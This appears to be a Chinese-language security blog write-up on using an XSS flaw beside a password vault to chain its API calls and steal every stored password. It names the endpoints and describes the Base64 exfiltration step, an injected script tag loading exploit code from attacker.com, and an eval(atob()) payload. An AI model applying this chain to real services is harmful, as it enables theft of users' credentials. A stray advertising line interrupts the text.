如何通过 Password Vault 的 XSS 漏洞窃取用户密码信息
导语:目前,随着安全意识的逐渐普及,越来越多的用户开始使用多种密码保管箱、密码管理器来帮助存储不同网站的不同密码。那么,这些密码存储软件是否足够安全呢? 在研究过程中,我发现在与 Password Vault 相同的域中存在一个跨站脚本漏洞,借助该漏洞可以实现对 Password Vault 的破解。
一、概述
目前,随着安全意识的逐渐普及,越来越多的用户开始使用多种密码保管箱、密码管理器来帮助存储不同网站的不同密码。那么,这些密码存储软件是否足够安全呢?
在研究过程中,我发现在与 Password Vault 相同的域中存在一个跨站脚本漏洞,借助该漏洞可以实现对 Password Vault 的破解。
二、应用程序流分析
为了更好地理解应用程序的工作方式,我们需要首先了解其功能和流,并且需要掌握应用是如何检索数据以及数据所在的位置。
在认真研究了应用程序的每个请求之后,我们发现应用程序会从位于/api/的 API 中检索不同的信息。
在对应用程序进行了一些爬行和抓取后,我发现了一些 API 端点:
三、详细分析 API 端点
当应用程序与 API 完全进行交互时,我们能够对流有更加明确的理解。在流中,每个端点都返回了一些值和信息,例如记录 ID、Session Token 等。为了实现窃取用户密码信息的目的,我们需要针对其中的一些 API 展开分析。
records/all
该端点位于/api/v3/records/all,负责接受 GET 请求。一旦在身份验证时,发送了 GET 请求,它就会返回具有记录 ID 的 JSON 对象以及与可用记录相关的其他信息。
surprise! 500G 网络安全学习资料,👉戳此免费获取
passwords/record
该端点位于/api/v1/passwords/record。在从 record/all 端点检索记录 ID 后,这一端点用于从特定记录 ID 中检索密码和完整信息。
在我们的示例中,得到了以下 Record ID:
526882 – “Facebook 帐户”的记录 ID;
526883 – “Google 电子邮件”的记录 ID。
如果用户单击“Facebook 帐户”记录,将使用记录 ID 为 526882 的以下 JSON 数据,发送对/api/v1/passwords/record 的 POST 请求。这一记录 ID 将会被发送到 API,以检索完整的记录信息:
发送后,将会返回指定 ID 的以下信息,其中就包括了帐户和密码:
现在,我们已经知道如何检索 ID,也知道了如何返回数据。但问题是,应用程序在向 API 发送每一个 POST 请求的时候都会附带发送 CSRF Token。在请求中,Token 用于验证用户的会话是否有效。
session/token
为了找出这一 Token 是如何生成的,我查找了其他端点,试图找到有用的线索。终于,我发现位于/api/v1/session/token 的 API 端点负责生成 CSRF Token。
向端点发出 GET 请求,将会返回如下响应内容:
四、武器化
现在,我们开始研究应用程序流以及用于交换数据的端点。我们需要通过某种方式,从下面的端点中获取信息:
从/api/v1/passwords/record 中获取 Session Token;
从/api/v3/records/all 中获取记录 ID;
从/api/v1/passwords/record 中获取记录信息。
为了从端点获取信息,有一个简单的技巧是利用一些错误配置的 CORS,但在这里,应用程序似乎并没有将它用于资源共享。
此外,还有另一种可能性,是在同一个域中找到 XSS 漏洞,以应对同源策略(SOP)。否则,我们所有的 XHR 调用都会因为违反同源策略而失效。
在过了一段时间之后,我成功地在一个电子邮件激活页面上获得了 XSS,用户输入的电子邮件没有正确进行过滤。
目前,我们已经拥有了武器化的方法,现在就不用再担心同源策略,可以轻松进行 XHR 调用,从而以与应用程序相同的方式与 API 进行通信。
五、复制应用程序的正常流
现在,我们需要复制应用程序流。为了能借助 XSS 漏洞复制应用程序流并获取所需信息,我们需要确保它能够以相同的方式进行。
首先,使用 JavaScript 函数 fetch()向/api/v3/records/all 发出 GET 请求,获取所有记录 ID:
获取记录后,接下来需要获取 Session Token,以发出 POST 请求。在这里,我将记录的响应转换为 JSON,并直接从 JSON 对象调用记录 ID 的值。fetch()用于发送 GET 请求以捕获 Token,并从 JSON 对象中检索其值:
现在,我们得到了“session_token”和“record ID”。接下来要做的,就是要将包含记录 ID 的 POST 请求发送到/api/v1/passwords/record。我将会使用 XHR 发送具有指定记录 ID 的 POST 请求。需要遍历记录 ID,以逐条检索记录信息:
如大家所见,从第 30-34 行可以看出,XHR 被正确地配置。在第 45 行中,相应的值以{"id":record_ID_here,"is_organization:false}形式保存,随后发出请求。
在请求发出后,会解析得到的响应,并从响应中获取相应信息,例如标题、URL、用户名、密码。然后将这些值添加到虚拟变量“data_chunks”中,以进行最终处理。
在使用收集到的数据填充虚拟变量后,它将编码为 Base64,以避免产生字符冲突,并发送到攻击者的主机上。
在这里请注意:还有许多其他方法可以正确发送抓取到的数据,为了使演示尽量简单,我选择了 Base64 编码方法。此外,通过 POST 将数据发送到特定文件也是一个不错的选择。
六、瞄准目标
现在,我们的漏洞已经准备完成,我们必须要在易受攻击的区域利用 XSS 漏洞。在利用 XSS 时,可以使用两个简单的技巧:
在外部主机上托管 JavaScript 漏洞利用方法(可能需要设置 CORS 才能使其可以访问);
直接使用 eval 和 atob,并在其中包含 Payload。
对于第一种技术,需要通过注入的<script src="http://attacker.com/path_to_exploit.js"></script>来加载外部 JavaScript。在处理大型漏洞利用代码时,这种方法很有效,并且由于漏洞利用代码不会记录在服务器中,可以实现一定程度的隐藏。
第二种方法的优势在于效率非常高,可以用于处理较短的 Payload。在这里,我将使用以下 Payload:
现在只需用 Base64 编码的源代码替换 atob()的值就可以了。首先,我们的 Payload 将由 atob 解码,然后使用 eval()执行。
所以这是最终的 Payload:
在这里,有人会说这是一个比较大的 Payload,显然,也可以从外部主机来加载.js 文件,但为了省去设置 CORS,我还是选择了这种方法。
现在,我需要托管一个 exploit.html 文件,其代码如下:
现在只需为 exploit.html 提供一个 URL,攻击者就可以让用户将表单http://attacker.com/exploit.html重定向到注入Payload的页面。
因此,我们将数据提供给已配置的用于检索数据的主机:
从上面的屏幕截图中,我们可以看到存储在 Password Vault 中的记录最终被成功检索到,并且我们成功利用了 XSS 漏洞。
通过这一漏洞,我们可以知道,XSS 不仅仅是一个弹出的窗口,如果被正确利用,XSS 漏洞所带来的危害是不容小觑的。安全研究人员只是通过无害的弹出窗口来验证是否存在 XSS 漏洞。
评论